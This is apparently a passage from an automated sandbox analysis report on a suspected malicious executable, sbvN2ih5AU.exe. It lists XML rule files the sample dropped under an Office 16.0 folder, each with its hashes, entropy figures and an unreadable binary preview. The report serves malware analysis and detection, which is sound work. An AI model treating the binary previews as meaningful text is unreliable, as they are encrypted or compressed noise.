Preview:	<?xml...m)Da9G..H!2y..v.X..)'VU..N..K.c.......$.......F=.;7....t5i(zv..a0r..._...>..f........2.....2...#Gx.~.'..Z...S...3s..<..K"....F.:<.h.....t>.....zl.~m.._.ZM^.\|......x;>p..U24....CW..b...*..._.TW.&..).....nE..7....................V.nh...m3".,..1{..!..J..gR .....Q....d.........e.E..`Od\|....+..[.fV..(.x.EiB..9.+.0.Q.....&F.....b..s..4%.UM.X.-...d.F....bhh d.QVQv.6...B....]a;9JPu=......n.V.s.C..E5.^...Fx.+.]=.FF. +...%.UqH.Q9/.=...C.g....An...!..2W.%..J.....h..>}Z_c.t...L....O.VhF...8..v.!....t. .zz....P.Q...\|...+J..~.)V...dYz..N..7\|..`..Zn.....I...........@xj.P4J.i.=_..@....Q....Mt.!'.7H.O@..."...s...`.:b.........Z.9.]...',d..LF.../:.....Ry..C..5..h.....A....)..Uj.dK;.f....}........&M@..#.4....3.O.y.....b.r.c..@+...0...V....I...u........&...Mb....".c.xyp.l....y.X..6,!..12.E..$.....w.i..m..T.osZ@\|.m.....%..@.W._sC..k"..8.W&..$7-.F.#.q..!..3.C..../.%.ZW..F.z=u.~.x..8.C....2./..L....J4.T..&.\......V...N...H}...@o...m.=lah...L*..v..Hk.....J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.714246350645699
Encrypted:	false
SSDEEP:	12:DGwB9PxSZJhV3RcTCDmMXjrtgBEPL4gFwbgPqX0rVWZxOZSUdNcii9a:DzSZjSZDc2beqX0rVWZD2bD
MD5:	1A8CBFAEC5B1922A677CD1E735612ECA
SHA1:	420A852A0EBBBB781943DFD83C55AE1206B42E45
SHA-256:	A6D048954D5D48E6C32FAE8AA1B8BD2E2B60DE2A7CC83EE42ED39D129707B6CE
SHA-512:	5674BD2755C1CEE66C768867A34F1A9EB1A1A98343B30DDB52026A67C5F2967DE34F4802419322F3E779598A55C5AA39E6006933F70EADEE0C92DF050B11FF8E
Malicious:	false
Preview:	<?xml...'%.a.R-...p...D...1.J.[Fh4WI.$....>-L.Dx.=..@Z....J..k....{.v.F".i1....~....Sk.H%.../.\dhEs[.2o.!....!..s...`I.%...!D.u...L.].....1d.Z......Y3^9.%...#..n......y..b.}.W.'.Xv.r.1..NhynQ..(...kG!...E.\|.<9G.2...`8..=;.....T1~@M4.P."Xw^m.m..9#w.G...!1...m.\|.G...e....,.NB...)w....uG4.?q...#..T,....h4.........}.B.........5e....3....}...u.......MCEL..T.}.v.i.@..G[WMy..g.l.....$Q.O.W.............(..m.V...X.....h.......qn.%R>...[.N)6.g.9*.!/.u....,..>...}),6...P7;.>..g>.s.MR$..Xl.Nw.z.u..l....E-U}.cd%5.v..R^.!0...#....aI.8...v....._.....{.i..G....I0.x6ES.8./....\S.IkiF...9E<.F.i..$.@p.P..'<}b...f\|.....M...6..z.#..^.J.`4.}.`.. h..:...;l8.5..O...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.8714819044128665
Encrypted:	false
SSDEEP:	24:7Bl47SXM29NIsGMHVNvfAhXseRRofPxq0JTSPrq8buI3C4MrCKsFeQG2bD:7E7Svvf8XXUfP5STvb13xMrCKsYWD
MD5:	B5C2A2F14A7547D1EDDC62DEAAF19F65
SHA1:	4CD4F1213944F37D25BE035B68E3A8927BFC358D
SHA-256:	0A3BC0DB592290349F6B25F53DC7BE6910ECC4177D8F6033A6FE3BBB0900D61D
SHA-512:	3471C6B43C8CC4E61A4D5102FE93F1B1051E219A5E97626F62BF140545CFB22CC6859D2D8AB73B475E0200F2A8A237934375013AD1157A2D8CAF3D0B3C5BCE85
Malicious:	false
Preview:	<?xmlO...\7.l....be..#..<....<.!\.f..{..g?n"...X.=...`..{.\.sm...u=]..T.L3..]H..a.E.#.@.R.U...#....KJ...Ey0...}(..^..W-...T..62..3D]I....".D...S.Fv..:.D1k.t.r"..<.+.d..B.[0..?%.R[.B{o....4._.zl.;...w.Yk.`.%.&.J....i..........Z9.F.V.R.. 1.....s..0............b.&...U...y.G.Z\.jx.}t.\|..l.....k1.........pM.;m...%ur]..N.O7.c,.....r..Uz...g.+.K..-.........,..A..5.................Q1...oX.N.........._.O..^..D.WS..7&uuV&U.....f.Ns..#.......!7..x6...%.b.$.k.L...E..+.].YN.8.K.AQ.1....J.%m....2.\|..e..?...tT00b<m...2.V aP.K..O..4......mmU]...lV.(.I.0U..J2.i....hd;.y.KF'.)..<*i3..........fR.U6.q.A.&....GF-.F....1.Y..Fu. .YG.....AGI...[N.=...q....F....>.mF....m..?.4.......gyG.i....k.8..f\.1...V.q.L...a..J.L.....zF....n...5...a!..L.%.nl......UL...._.+nlq.........v... F..~.....cX..................].....D84jQ.+...\|d...d[.#Ml...+.....W....2.c+i...........\|[......x0I.6{.........J..W.............UBN:..J.../..h..0..\|wc....pXq.Jl(D?.m..:...>....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.946449662258899
Encrypted:	false
SSDEEP:	96:dVloLhN3k9F+GSzTbo6tzJd2aucvokBYC87nSCGpYH2:dViN3kf+GSTbHOhGYC8uCGpYH2
MD5:	A2CAEECAD0287818B8F95C4AD872567B
SHA1:	FD57DB46621143299287246077FB674ADCD399AF
SHA-256:	04FE03A102A3296785101D1021261D62E49973915511B4D2D0DDF4376A9FF1A6
SHA-512:	ED6FD9F866B79E2A7B0852D4A41C2AF7BB078AEA778E638826C6C036A75463DA9F08A8E810A1B05CD7B3D883F57D0A26ADD5D8F0AF2C9FA919C92FD89E9074C7
Malicious:	false
Preview:	<?xml..3......B..-.`...)i..=z.".].:o..N......J@"+X..>..$.k..[.`q.p..M..>..?..y..l.iX!b...X..-....I..$...............le.....JOA.p....gm....x.;Q..(...6.....pV........d ....9..q.T...f..LX../.2.j.R.g....m..U_]..$...P...Q......!.....&....bAm7{..\|.Di.........h..,mo........h....r. Q............K6B3.....@\j..P.L(\wJ_.2..9.y..2.)}..U..QE....d.pt.V....Z.#.G58...[6:.[.~T.<.....;..2..t.7.Q....&..S..;..<.>......5@.d4.w5<+h7..r.....yJ..ug.NK..j..9KYa..e.v....0..sT....eI..z(...%@...8.g.G..`P...q....;....0...!ex.]..r~.W...76.!e.3..A{..QCA..8.).!&........vw..V.v....U.-.?=....[.` .pN.......t..M.?.<.....,..Gb(.j.b.id..y.cQ:..pm.....q..d~....q?^.K../.i.."...t..g..z.....s.......3.....5..AA..pq$V....CA\|r..U..3.tx.K...7....>(.=...h..\$8.....<6I....8..F......}..E.Rv=r~....0.3..`_g....&0...-{.\|8.a.-.m.JJ......,.,v!...h...S.~S.%.7.b...P....S..'.Q.>..<..4.!.S.*...cJ~Q.p.ou<^.Q.-"..]....bdd.o.I....c.........Qc..f,U.'e.=..N....a......7%...,U.G.}.tC.o.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.802900849275212
Encrypted:	false
SSDEEP:	24:cQ/jKT77sAJGRc/ViZGRe19cUmqWAY7kM2bD:cQ/jCfJYZjbvmzkfD
MD5:	C2B615907F0BC0DA3FF263D9DA9B1C0C
SHA1:	DE4DD03F4CD15944E3A10027C14B6F57C604C28A
SHA-256:	3B73C7C6566C4BBF75D92831611839DEEB7AF779CFD9059C7721AD7A9BEAE44A
SHA-512:	D36936EE1401A458CD74B557A205562C3CC5BD425D78180EE3A145F0BF92877C83511034538DDB01A4B70EC3850DE93250397739F6E746FD91584361BF79F937
Malicious:	false
Preview:	<?xml........r8.\[.j.6).....YH@...2.i&...Z.~..H....C.r...w\^....5.........=b..SD..v/=.R.}n..Y.o..;-.\.+.f....O.Z...6~..r}..B....:.......[.X@.k.J;.c.\h\|.'x8.f...@..r.!qh......gu..G..`.....)......B..0..t......rW......I4............qm^.U.&..fG.)-...O....0...y~....D.h...Y....5xVFU.=...8.p....Y..-.V;.._.P .w...{S=......@FP..X..8G..y..Q.1YG..t..O.]"v.f_B...w..-4wQ$"...(."@............e?..~U!I?R+X...o..m.nP?k2Fs......D.j.N.b_.]......r...2.4}]...hg]y.............X~.l..Ai...4...H...HQ.xC.....B....I.J...f..85.`....~.j..Nz.'.?\|.d.........b..kYx..K!1:$....1.....%D......z3.HN..e.'....pq@=.)..X....z.`.[.}]..6.Y..F.T...4.......?..V.X.......8u....oC.#c......x.c..}S...w..@...6z7V:h.JI.I...9!.9...a....q..{.Z7..).9..u:....%fl.w....p...uL...N.z.{+Tqu._.l7..3lh.e.....L........b....Vh............#\.....Z WQU..Z...EjSg.V..pL...J#c.v.Yh..g.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.945551396053084
Encrypted:	false
SSDEEP:	48:R+YUMIfpgNgERS2f6CEIs+nrYalrMzyPcneJVnnywyVkiAljniACMhLgDhNfFE9A:ooAyN/RPSwvnlcy0ernfyBSnlhANfG9A
MD5:	332A6289C0EF380161A17AC69F8D7FD2
SHA1:	039CE65052E922D68783DD474562C4A7833AEC6D
SHA-256:	8B815B6F8C22E2A43457AB1914AD10EAD06FC4937207A04809485EBD4C8DAAC6
SHA-512:	FF9B78B43F65115F5FA7D94C468213F276B5AE543B9B3E639822A64A469CE0A81DA7D8712E433A9C188271548A3433BD9E02005111B1A31DE5085D002799D82A
Malicious:	false
Preview:	<?xml.......M.'9t.y.()t)...........f.Ce......Gt7.v.dy-..8....x....ab..;..-.c.u..v5...e..$...P%f..plajz$F..).&..!.1...Ts.C....l.+...E..=.f....0..?Pc...)a.sWZ..o...".+..........b.W.V...0u.d...j\|.].HQ..t.0=@.5=X.9H.>..,.?./csj..T...}...4&.`.Yx2......w..f...P.V.......4Pm.....#:.8.C.E..^....\|WsR...O.[....b....S.fv..e;..x.I..$D#....~.......,1.c....z.G.........]>.a:. ..E!\.&b...2..Y{..^.t V8..Q4.^.#&.R-..$.......3.....c2.rm....R\|..Y..#.x..sq.....\...p...%Yd......p.......n...n...\|./....:.5)o..wO."0....&q..L.BL..#.....$...X@r...3c.'N.>.cD?.m..].w1~z.....=....&...{_.....Y.[_...f.......z...!j.U.....Q..H.G..v4..X.#.y.....0Z9.._..u..Q...l.~.^T.[......6..ZA....E.f...W....e..P..eoMz.=.....WY......A.ik`qv.7.....h.!a-..;............C[XH0>..9...s....t<.2..8..N..../.../.Q....#z...Q.G.........p...E..J..V.......ve...4...q...2EG.V.....Zt....b..G...@a...U!.)..kn...j..j.....J..%.\|..\2.dD......T..1.<}q.]HV../-.....>............~O7.i ..$.(.8l..Gq..j..ryq..B.%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.914628867447058
Encrypted:	false
SSDEEP:	48:V8YZAHjh6/5AKsnz5NQEav72aGIxaExAn85UMkJ2aRRhDQcQBaEplbBD:aYvASOjkAn85UMYeaEbbp
MD5:	5FC4F495AAC5DDB4AB12FB69E2BE4D1F
SHA1:	51A3BDC957076273A8E362B009D52626C510973C
SHA-256:	64C2095F88F22593CD0ADDA12DAA3A2DCFD4FB277464DD32C00DB64426DC4EF6
SHA-512:	9F58EBC2E2F0EFD116961CA7CC6D561770735760B0CA6A39F5B4092F6B16F5EC8B22770DAB3A3E381A2806B65117B5F827D6DCC97902A58A5E541137799548F2
Malicious:	false
Preview:	<?xml....Ma`.i.[ZI...S.......(.{..o..+....+....xr...'.M...`..t..=.....\~..+.....c+L\~.'B.5Ub.@;n2D..1.E^..g.....Z..fD^.oR....a.....o..\|g..q.vK.....]H.#.BV..4O.W.K..@o.~$U.D.Tu6..7..z.`.M27~O_.....5... ...$]..5...<.Z........Z..`.b3bQ....F6. .No..'..c..............E.,.f...x.G..U....q.v....x%...........V.oy0.....v......".....K.%.\0C.{../..:.....}.%.....^.}..KO.....L.M.....3.Y...C5......{`.ElS..;....LE5..9.~C..>.#\|c..V...S.5...Pf._R....8MA%.5Dh...6k..r.....n......g.&.$e.f....t7.h.....D......F.1.y....B\....co+...1.$.?.W....[.ac....)..P..S.dJ.....4.Q.S .'.).>.&x.g.'.,...C...r.3...g......)/...<...k..z..r)..0"...8..p<....v\|.t.hXcif..S..#.\|...X.!....@ ..;Y.B..(.o.1qIS....+...Db.A ....z..".C..I.\....@V.5.v.,.............[..L..b.o..J\...I.(Mw\7.s...Z.B..[.w....$...n...A'..h.hE>.,8....,W6I..Y.h.......f..5.......G.n8Ns...k..Od..K...z.8.....Q=.s..7.....h....K.....C.2l2.%z3..;....NK..?.u....w!a.;...0.....y...n...P...m..N......k)i9........t73...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.925987115116551
Encrypted:	false
SSDEEP:	48:9fFRDK0bD7kn6g8z39zDGbR5cAXaqH3TII8VShFQzNI7k5a1mSi7h8TqD:NjonF8z3E1JaqHDII8VOFQ5I0SX2
MD5:	A046875F590654B0E8F2F35651E7F594
SHA1:	B9306BC5B1EB9CDDAFA1EFB3010AD860CB98D0FD
SHA-256:	159A624332944EDE2769570EDB8139EF403C24D306C7CA7B2F862A971178DF61
SHA-512:	D8372E57E545AE570FA182568864793D2818D8CF5CFBC23A403E43DF88BEE00919E56E88D5CBE3D5E014A4C61C24B6EA3DE5F1E8C7E68F54699DB5BC05FFC9F4
Malicious:	false
Preview:	<?xml.q..j.L.USK).wy.....Xr..T..i.k.,..$+J.....M..').Bg.t8.8.@..S..5..g+.t4..mr+4..U.y......GQ....^J6.6.A.P-...TN...{.....L......>...o0.T.s.W.+....Qy...@F,........I.......l.y..{k.%N48.Icr...\A...9.@+..TW...3.....C.....@.S...5...L7!....q.gJ.m.Qbt...x...P.6%-..a.....+.]U.....V9JB.'..jvwoi..$T..g.".\|........\..=\2..x.....!V....nG.P3.a6..b....E..eU$Bj.aFW...=.[N..8c..\|....~.d\|.....f...py.cE.........GGti..^.......LE..9..'m.8.\|C...X.....c.nk..qy..@.U..9jy\|.}...-..:..-........8..>u.bz.E..{...6..w.y...-.+g,...='b.9k.ke....mSa..G...Jr+XT..1...5u%..q4.;&[..4.x;.?0.._.}[....]..!.v..gz..=.1.\pJ.1.<[...0.\|e)...$.I.St17#....Hi...T......G.(M....$n(..z....2...lb.....].4]..s..Q..%.g...P..=.....N..I8.....)R..o2$..>t.).I.&....P9.."....d,p..@..Bb.qozD.EHe.o..J.R..1.q.z.7......*.......wE....5.}...,....q.WZ..Bf..2s............W%..sB.T..L@.V..I...k.c).......w?.B.%-Xx4.......g.K..55...U..<T3.3.~C.T......-.Y......&.j.....)...[..T..j9J..'.~....Y...G....O{}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.96387731312817
Encrypted:	false
SSDEEP:	96:sDxCm3uSP1cBlH5UfQ1RZbkdTyfp4B141w4QGXn2AMQ4ljVorpwjQHWbF:axCm3uw165UiRcugW1w4tMSayWh
MD5:	8CAEA303D0C77A309ACDA6DF305E54D8
SHA1:	E6D66D5FBD11E62391DD9E9901B0381AD5AD1E40
SHA-256:	D9D53A46EB98B8F37045DE1B84968C31276C3D85519AE086A42F1D5A0201E4B3
SHA-512:	10002024FAAC88EEB37554816A1ADDE5AEBA5B207178AD5480B4AC98AA5DFB88879A29AD815EB3C50F65C66C0D1401C4FF7CBE16FCB5B359B6E771397C22E780
Malicious:	false
Preview:	<?xml.!...8?..F../1"...E:}.....R~s.v.Mhs.5...o.V...5zm\...J..M69...LA.(4.s...1.V..`p.d.h..+.,F..cZHa...b..EG....$D...,8+\|.....E...q...!...G....P3....Z.......\.t......W..e....}X.&mT.....G.-\|._.@.l?.$?..H}..wm.#..S._..;^)u...[.......V.X(..@..i....T.f.f.P.+....?..../......U..5O....3\|...~.....$8..M..>..]s.`..l.M..v.`.O....8@!yJc-{.3...Q...LL...\|..xx.T.....g.......B.i....Oj.....tJ.y..T.....aC.J..Hs.Rj.op.,..^.+.L.......a2$.o.-X..b..>m.....hR..k+....!..........VA.$.&[H.r<._V3....6..P.J>j3s...8Op.\|...P.......Z...!.....>..#lIhz.a}.>L.N..x...6n.S.Ip...@..n.x.q.t....f...bpl.C~...ZE....$d=\|.....h....y.R...(W..'(+.U.B.J..V]F...I...#/...H..^.RC..\|V...i..)......30....z.Odo..?.G...."....n..G.2..<I".e.Q.LS......(..?vc}K. ......4;r..k..,..v.....]....t.gw.w.R..}.sz....._.....].['.`.A/\|R`T....k./...C.v~.Ti.b[....{....q.S.....BS....Wz.~.....dwN..e.O...]6k..S}V..@L..d{..$+.Yd..Q.~K}..i{.\|..,...Q.o...F...L.y.!.H.T.......X-...i..kaLjI..h.2.......B.#.0..@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.973975708648948
Encrypted:	false
SSDEEP:	192:9s37B2l1OKpe+LXnMrgPcLZicoVUa5dBfC5RplSkcn:9srwVLXMrgULZpJELUnska
MD5:	62DFC9CB8523316B2FDA23D32E4F7F24
SHA1:	EAEEB0539B6C3E02E51AE84CAA3A12B1F9210133
SHA-256:	61ABCA8E57FCC0F6EA2112AA7AFC6EA3F8EBA674BBB78F797793484C94C63BA3
SHA-512:	089F7D8DCB968972321D1C88CFFDD8D7F14F7656BE8046D1E831E7949D744697E5E4868B2BF87A4356869FB16C1449377B26021E2CDE81403A6F4A15638C8EB6
Malicious:	false
Preview:	<?xmlQ$.?.m...y4.1>rp....E.s...[Ek..:TI..#4...S.&..@3...-KC.k.]?....S......X....D>.TE.5.N-.ai.t...v6z.qw...,.O5Vq.e]Dy=.......p:P.=.GC.=..Nl.j\..C............r.n.....%.....Uf.....W.$.rm..n..5G.kc...."!.u.y..mPK.Bh-.f....<P..in....9..9.1.Y....=M..6..K.".5.?.[.T}f.,...n....!j.$TY..&@...q.~..E..Qt...8".#.c~K......)....?.T\|.....&...O:!_Y...T.....D.^(......~.I../"<e..S.Q._-.ay.{...hp.b..."h...m...!.B&y....8..Z\S.'B.:..S].[..l"..-.,.sDky.Z.$.....;..!5#3.6'.5..w...8_........j1d.......hc..})..v.P...X...L9...$......!b..rjVz\|L.........I..K.6pq...5;.2.Y.t.L<.n..8.:@.I,j..P..d..l......&N.....MZu@.....U].h...G!.h...i...2{+&,..W .....@..#..S8xmg6t.A...w.2.c..&F.6r......V..g.....0n......B.....1.],,..Z....]E+`..\3.).....~.sT:+.1H.g...Q.....tP...J=;;..g..or.g0....%...];;D.S.P...IV..d.ox.d..+%R.@.No<.A..A....\./.U-.h.-z..........G$..su.zQ.^..H.kN...bY.......W..@......s..)SS.3C.M={.?z.5P9.>....j..Qj.!$-5..O.cE.r...9..0.......&v.y.K0p.".%.9}.8../..8.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.9709070010858145
Encrypted:	false
SSDEEP:	192:PxFIO2w5QqBbO78tlJLhZPQxNPyf03Y1pyGMHLFQ9:pSmuqBbO7qJLhZPndyGMI
MD5:	A31D84FA0043B3C10E1D2CC1013B2ACD
SHA1:	F0D0ECC04F79DC1F59C7328E0FF6A78702EEB93B
SHA-256:	F73294EB5FC18343C1328B48693D6CD5A2743CD2C4EA290ECDD6578A9384AC03
SHA-512:	F55EE959427FE1E9B2AC5F309D0C58EE50E33819A628CECB03028DE5BF471C844D300C1CCECA1F93E0F2E06A059A73BD235475B091AD23065E11D91F40223574
Malicious:	false
Preview:	<?xml~...w.T.X..d.......1.k..\.SIe.U_u=..5....%. }.Mk~n._..H.q...N%~n:ed.7.NR..%H.............hV.J....,......Jy..].F.]nEi1.X..X.(=..$..F=..?N....7`v.+.u1..5k?.W....=-Wdu.n.o...p.:..I...uL...\|-.qv..1EE..k`...B...&..u.].:....7.g...f..B..m.L.{!...Bh1....r0..Dz......%..o.......,.R.lfI..p...\w]....jC.T..>...H.t........3s.i:..?.TD.W.-..mTq...c..u...(;.~.N._.i@.\|.Y#..].]>$..l;..-....?...j....kQ6.yG;.AfA..m7.LF.I....F+$..{D..c.. ..@..>..X.#.y.E.K:.P.oH...._Ml.._...-.2{..R.0/..B\|..r.(.E...hW.A..\|.iV.9...K........?Z..I.~f..^..p.......u.._..d_hp..u..p...<..b.2....b..M."..\...O_.Y.;.CVT.Sf.....W..:.>.e...:sV..\.#:.V.cyX....71....._s.j;..hs..8q..P......#z).c6..:/P.Hs....v..........bp........m..m.4.B.q..s.U.)2...:..E..../.1...A..\..@.GE..P.11O...z@\%g.....6H..L...e..x.{5.S:.......L..+.?-.U..SS88........Nr.L...x..d..No.%.hQ.E/^.:dW...9.L..O=%...>.TE.3......x=.j...{..,.......j...jS..V..@Us.Q..S.....:.4..$....%_1.....1.*.;.u..v].V......= ..CU..&'....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.863371640380352
Encrypted:	false
SSDEEP:	48:WNpojUE2xWdRctCFRoqy3V6+/CddVoE+2WfD:MoIxWdR609ysZdzH+2k
MD5:	D86C470E4BEF509D2EACE73F7030F96D
SHA1:	CB52EACB6A7DF1856A478111DA9A061E032C253E
SHA-256:	C521FD2A1BB6A4B7848848BC72B8A62998CFA75009E18D534CE9428E8C711199
SHA-512:	79929C5BF346C30634AD726173F0AD3B279DCAD4A1493DE325F3F380F8EDEF7834AE304E5D53917FA95AB09EBCD4DBF4359FF62FCF667CFD2488EB16A7AB5E72
Malicious:	false
Preview:	<?xml>.R.'.0ia1..f.kV.n...u.Ij...;......t...........c..w.R..H..7q+h....`#...W;.V..e..\|.3...\..7.y..O.8.....GRU...Upk.P..8:.k..q..T....)Z....v..U6.......&.....i..<......\|n.A25.Z....%..Q....u.=..b;1....:.{{....7h.0T.x(7.c.z.(-b..\}_...C...J....9..&...t\|..o..A4...N_...1;q...=u..Aa^. .ck.k..._....}Q....E9.l....<.H.r...4.]?.dGve.Qm.X....."[U..R.#..$..U..8.c.....Ou.e;....z..Z..V%v......r..[....t...~.'..../7/<#...D.p}.2(.(.'5...p.=b](9.]=.A....P..y...J.....rh)..[..>...O.vcV.lq........Q...s.Bp.^.SPx..!...N...8.MX.....R......)5......G..xv\..)...Go.L'K.zf...S.$G...0..{..n.......a..95QY..O.h\|o.8>A......A.....B...._......F.E7..L2}.=Y......._...q....'k.rQo.eq.\|........`......bw.PI.6k8JO.a.P....\v.......".e.,..1 ...S.....LVM.V.<4`.^.....-.M.{/3..,$........Y.q.o....1...g.[...1...u..+..Y..I..fk,..#.....w.KL.8B...".o].<....U./.v.f...W...Z..\=.Kq..2..N%...@W..o...9..\u..b..x.*,'.LG."i..7..fE'+....v(epj.#..agw..A...Z..l qBH. k..z....2Z.=.@.o....<.......U..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.871055533966385
Encrypted:	false
SSDEEP:	48:g0vGhMxb4Bnd041qva9vgL/pJxll0Oj96D:g0Oim5I6vgLBJ9S
MD5:	80F54396314BC290FED77083C899A573
SHA1:	1710460481346D1801E424DA168E23DE2B357BB9
SHA-256:	25049068A80607683564531863C707EB7A02331A3C5F1DC80D8FC8B283A94EE4
SHA-512:	BD1C6A4C1335202AA8FFA0FB3DED3A7955E8D3389CD99947C61F9D1BEBDFC4EDBC5061B999B5693694120EC69276BDB4701432A7F410F668EB26B10F4DC19FC1
Malicious:	false
Preview:	<?xml...[.f.'.@)Lgb.NHG.\|'~..R5...R.QF.._X&.n... *...i....]...V.@...D.A.....\|.-...D<$.k.1.@9."n.....+.I...;Zq.=.GG....m...~..r..7.Q..FM..f....}..],2{_a\q....g!.a..WH..gH.\|....B....A.M..x..".Rs....nL...C.;.a...Hu..A.I...v.. .t.M.QXf+i\J....R.E....,.......#.0..Rk.s..".!6..x.h.R..H.0y.&.....7..v4...H<{.A.q.....&.("..R=..kE.@]g...C.O.t.Ru.,..:.$$.W..:.a0-......C:..S...2.}.L....".;....;.....R..NV?.k.N.._..w.!H..b..P$....p.i..np4R........W...JB. ..C.a......U.......3...PDW......(..YY..rb9.B.....I;.0+f.B....^...e....y...\|...!.t....yt..bw.}.N.......o^.73.V&......AA.x...Nss.z#..............(..K.p.uEspO#..#E..S.{.Z3....\|......#..c........^r.v0.a.z4.H.. Xd..j... ..Rd.xY..r.6..~%C...../..;B.r....M.l...,.P.L..7....<.&..!.(rv..........jI......go..WrH.[...#... %..f.."..g.Mz....'=2G.^e.....[....U6..L..\.r.t./.Z...kn..D.C"....GV.._N....T`ZRCYx....XZmo..w.J$)... ..iA(.FJt.gC..Y<.7.,......n.E.{.4.s..Ww.Z.x.6..E....1N._._s.....Z....L8j.....V.T..v...&Q.Z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.890870224125358
Encrypted:	false
SSDEEP:	48:yGWtXlmiquk59RAw2c6AwbTBnI0+DLX5zLtQDD:yGWtXlTGLRewfdJtM
MD5:	4082AE883936434C173289FF6833AAB4
SHA1:	C372C40E0A30F2DCC5ECAA5E48792515088B61DE
SHA-256:	A4B787FE58225E2DAF5D9E7669BE88159AF15ED6474C24F033E221C91B0BD76F
SHA-512:	50C6F2613D201929463014FF9235C3E67FF3C301672126E737ACC8EADEF66A6C79E8E36931F5C8EC4F08294BCE5CB27B8EFA25AA70FF96F784164C82BDA477E7
Malicious:	false
Preview:	<?xmlS.....8.z.}<.'ZY.....\|..:.1..j.q.ly5........r:..........t."m...9..q.@.....Z..5&t.u.1._.........'...8..q...../..s.._i_../...])......>5..5..../z..RMk..c...#.`au....J.n..%Y/l%.L[...{L..I.......tC.a+./...J...!X.L..6O.l...Y....9..n....B....0[...2.....$.......d,#d...0M .....e.A..9{YS.^Y../.T..1...u.3.......p..q.mP...i")Oz...(V....c[...,d4.\..L..z.../UdY}o.G+..v.L]..F(F..O.E.....?...nN>n,..U.v.yQ.n..W../..t...fK.L4.,.Az..D.C.....pi\|4...j&7_ .U#.\|>{...bx.Rs......U....j....D...S..08(O./.p.k..._.d.@...^....I..oyC..R.....1.C.H..+[Z..l.8".'.k..s.L....y.....+.A.A.1....x....G..R......t...%..4..~...:8'....8.,..LaX..N..6....P.....o...qDr,....5..J..p%.....X.q....q....&uz.m.~]-..)m....`.,..f....*G..zl<z...c..@.T...a).Y....,e..MU.u.j..:..gE....{p....`..7sH}j...'...Y}b....?....{.zn..s..NK..E...Vu.... .Q.H?,...IX.l......sT.SV.........U..j&..zm........0.x!.=-#.....9...zJ...J...~a........a.#..$k=....bR....m........=u...,.U&...!a..ZE....q...:.o.w9.e>...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.846780165063907
Encrypted:	false
SSDEEP:	24:HYcwmvlJA93UJocz9ptsuG7bsGO5yM1jGlCZwEnSqQRX7ZRF8e63twGgBpcFh2bD:HYtm8GmO9b2dOkM1o4SfRX7Zv8e63twp
MD5:	DBE04BD7F68BF741E11D39EDF7AC1A5B
SHA1:	2AA6FE9A46F2CF09A1A9D3B79F5B85C804E5EB8E
SHA-256:	14104982A88BF7062D693723ABD2DA1866D66B74DAC8DAEDE078098D0FDB5AD7
SHA-512:	0618BFFF6D8F96643E492EF9A1A7B7870C6EF542503C906750A8F57A29E9339D9E8D82B2429F481DECA23D4FD3A732629751F3AD9CF83960792705973ED206BB
Malicious:	false
